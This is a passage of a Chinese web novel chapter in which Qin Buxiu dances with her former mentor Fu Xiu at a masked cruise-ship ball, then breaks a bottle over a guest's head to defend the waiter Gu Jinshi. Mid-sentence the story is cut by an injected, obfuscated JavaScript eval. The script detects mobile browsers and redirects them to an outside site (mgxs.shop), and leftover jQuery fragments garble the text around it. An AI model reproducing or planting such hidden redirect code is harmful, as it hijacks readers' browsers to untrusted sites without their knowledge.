“老师?”
思绪回笼。秦不休依旧如一抹最鲜艳的色彩,站在傅修的面前。
真好。
“小休最近是开始给自己放假了吗?”他的语气很随意,装作什么都毫不知情地问。
“嗯。”秦不休点点头,不知怎么,她总觉得傅修跟以前不太一样了。虽然他跟从前一样,说话很温柔,也很有耐心,举手投足之间尽是贵族风范。可现在他是笑着,看起来却没那么高兴的样子。这十年,傅修早已成为了傅家真正的掌权人,难道他过得不好吗?秦不休把心里乱七八糟的想法扔了出去,大概是她想多了吧。
终于舍得好好休息了。和往常一样,傅修宠溺地刮了一下她的鼻尖。
秦不休不太自在,身体先一步大脑做出了反应,下意识偏头躲了过去,等反应过来,她不好意思地冲他讪笑了一下。
奇怪,她也说不上来自己是怎么了,好像很排斥傅修的样子。
傅修没有在意,至少在明面上看不出他的任何情绪。他环着她的腰来到舞池中央,后退半步,松开了手,然后又重新抬起,做了一个标准的男伴邀请手势。
“还记得psycho怎么跳吗?”
秦不休眼睛亮了亮,琥珀色的瞳孔里映着水晶吊灯细碎的光,也映着他的脸。
“老师教的,我肯定不敢忘。”
小时候,属于他一个人的秦小休、那个白得来的妹妹仿佛重新回到了他面前。傅修的眼中闪过一丝看不懂的情绪,他基本能确定她失忆的消息是真的了。就是不知道她还记得多少。
秦不休也知道他看出来了,不过她不是很在意,在她眼里,傅修是这个世界上为数不多从小到大一直对她很好的人,是可以信任的。
舒缓的音乐响起,傅修带着秦不休跳进了独属于他的盛夏。
好像又回到了她前脚闯完祸,他跟在她后头擦屁股的日子。那时候,她身边的人,不管是长辈还是同龄人,可以不知道秦不休的亲人都有谁,但一定知道她有个如兄如父般的“老师”,而且是位高权重且护短的那种。
这首舞蹈又恰巧有很多旋转和倾斜的动作,需要男伴的手臂足够有力才能支撑住。傅修的手臂一直很有力,稳稳地托着她向前,秦不休也对傅修有一种天然的信任,知道他从来都舍不得让她摔倒。
比起秦家人,傅修应该更能称得上是她的长辈,她的亲人。
舞池里陆续有人停下来,为这对般配的男女让出空间。虽然两人都戴着面具,但从气质上就不难看出面具下的绝色,舞姿更是清新夺目,很养眼,不是吗?
暗处,几道视线落在舞池中央两个旋转的身影上。
傅则屿不知道自己为什么要跟着过来。明明知道他是最不可能的那个,是最没有交集的那个,明明已经决定放手。可是心底总有个声音在叫嚣,驱使着他像一个老鼠,偷窥那抹亮光一遍又一遍,千千万万遍。
舞池中央的两个人配合得很好,每一个旋转、每一个跳跃,都曾经在他的窥视下练习过很多遍。偶尔秦不休会踩到傅修,他也只是弯了弯嘴角,微微收紧手臂,把她带得更稳了一些。
她的鞋跟落在他的脚背上,如果有一天,也可以落在他的脚背上就好了。
傅则屿止不住得想。
如果那天,她抱住的人是自己就好了。如果另一个那天,她买下来的人是他就好了。
傅则屿仰头,灌下了一杯浊酒。无法宣之于口的暗恋,不是不想争,是争过了,没想到败在了最开始的开始。傅修甚至觉得命运在跟他开玩笑,分明好不容易让傅修松口,求到联姻的机会,却被告知她已婚。
等待,多么可笑的等待。
哥,他自嘲一笑,想起秦不休亲口承认的那场婚姻,原来你这样的人,也有所得皆失的一天吗?
他甚至有些阴暗地想,傅修费尽心思,说到底不也还是个老男人,他们都输给了那个不知道从哪冒出来的狐狸精。输者没有高低贵贱之分。
一曲完毕。
秦不休踩了傅修整整十次,一次不多、一次不少,正正好好,每次跳舞都踩他十下,无一例外。
这还是傅修自己数出来的,秦不休也不知道为什么这么准,好像他的脚背有什么吸引力,她跳舞的时候已经很努力地在跟上步子了。
傅修心中涌起一阵久违的庆幸。
他确信这大概是刚成年那会的秦不休,那时候她为了参加宴会,不得不逼自己学习舞蹈,千挑万选,给自己选了一首颇有难度的华尔兹,最后实在跳得太惨不忍睹了来找他求助,他便重新帮她挑了这首基础版的伦巴。
理所当然的,傅修也就成了秦不休唯一的舞伴。
已经有不少人感觉他们两个很是眼熟,窃窃私语声漫开来。有人认出了傅修,自然有人猜测另一个是秦不休。刻意压低的话语在耳根间流转“他们之前不是……”,话说到一半又急刹车似的止住。
上官聆同样发现了不知道什么时候出现在主厅的秦不休,急匆匆地穿过人群,一把将她从上面拉下来。
“你怎么来了?”不是说不感兴趣吗?怎么还跳上舞了,上官聆的目光在秦不休和傅修身上来回流连,嗅到了浓浓的八卦气息。
秦不休被她拽得踉跄了一下,站稳之后,她看了一眼傅修,不知怎的往旁边挪了一步,拉开了一点距离。
“我在上面待着太无聊,就自己下来转转。”
“自己?”上官聆上下扫了她一眼,语气里全是怀疑,“你一个人下来的?”
秦不休:“嗯。”
上官聆:“那没迷路真是太阳打西边出来了。”
秦不休张了张嘴,又闭上,给了上官聆一个难以琢磨的笑容。太阳确实不会轻易改变行驶的轨迹哈。
上官聆看看她,又瞥了一眼站在旁边没有说话的傅修,刚想开口说些什么,突然,一阵喧闹声传来。
声音来自舞会的一个角落,音调忽高忽低,混杂着争执和辱骂,还有酒杯重重搁在桌面上的闷响,像是有什么人吵起来了。
哪个不长眼的喝多了敢在这里闹事?上官聆皱起了眉,挪动步子向那边靠。
秦不休自然也跟着人群望了过去。
然
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646394|206460||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
后她感觉被围在中间的人有一点点眼熟。
秦不休眯起眼,透过人群的缝隙,看到了一个侧脸,一个她最近几天早上醒来都会端详许久的侧脸。
大脑还没做出反应,身体已经不由自主地扒开人群,跟着走上前去。路过一个长桌的时候,她顺手抽走了一瓶酒。
那张圆桌边上站着两个人,脚边是洒了一地的餐盘,食物的残渣和碎掉的瓷器混在一起。其中一个人白色的衬衫上染着污渍,小臂上不知道是红酒还是鲜血正有节奏得往下滴落,洇开一小片暗红色的圆。他的头发凌乱,耷拉下来,挡住了围过来看热闹的视线,而他只是一声不吭地抱着托盘,低着头摇摇欲坠,好不狼狈。
另一个大腹便便的男人短粗的手指正怼在他的额前。
耳边传来一句怒骂。
“你算什么东西?”
秦不休没有听清后面的话,她的眼前只剩下了那个白衬衫的男子,耳朵里那六个字反复回响,像一串错乱的代码。
你算什么东西。
你算什么东西。
你算什么东西。
她是顺着这句话走到两人跟前的。看清顾尽时的那一刻,她只意识到自己的手里握着一瓶酒,不知道是香槟还是别的什么,她没注意,只知道瓶身凉得吓人。
“你算什么东西?”
秦不休重复了一句,她的声音很轻,轻到像在低声呢喃、自言自语。但周围突然神奇地安静了下来。
她上前迈了一步,抡起酒瓶,砸在口出狂言那人的后脑勺上。
一片寂静中,玻璃应声而碎。红色的液体顺着那人的后脑勺往下淌,有浅一点的红,也有浓一点的。秦不休低头看了一眼手里的半截瓶口,又看了看那人捂着后脑勺、满脸不可置信的表情。
“他爷爷的,”她的语气很平静,“你又算什么东西?”
敢骂她的人,是活腻了还是活腻了还是活腻了!
两秒的死寂过后,舞会中炸开了锅。谁也没想到这个突然出现的女人完全不按常理出牌。
前头的人想往外退,怕被波及,后面的人往这边涌,想看看到底发生了什么,有人甚至已经举起手机,但他们很快都被一群收到信号前来的训练有素的保镖给挡了出去。
“不好意思,舞会到此结束。游轮的主人为大家准备了丰盛的晚餐,请各位移步宴会厅吧。”
游轮的主人他们得罪不起,没人敢再看热闹,纷纷退了出去。
傅修等人也同样被拦在了外面,他扭头,和角落里的傅则屿对上了视线,两人皆是一愣,下一秒,眼底暗光滑过。
上官聆从秦不休悄无声息地捏住酒瓶开始,心里就隐隐感到不对劲,没曾想,一个不留神,她就已经上去给人脑瓜子开了瓢。
“不是,”被砸的那人还在叫嚣,“你谁啊!”
“嘶,你跟这个不长眼的服务员是什么关系?”打他做什么,他可是客人!
看来是没控制好力道,砸轻了啊。秦不休忍住想要摘掉面具的怒气,把地上的顾尽时拉了起来,
“我是你姑奶奶。”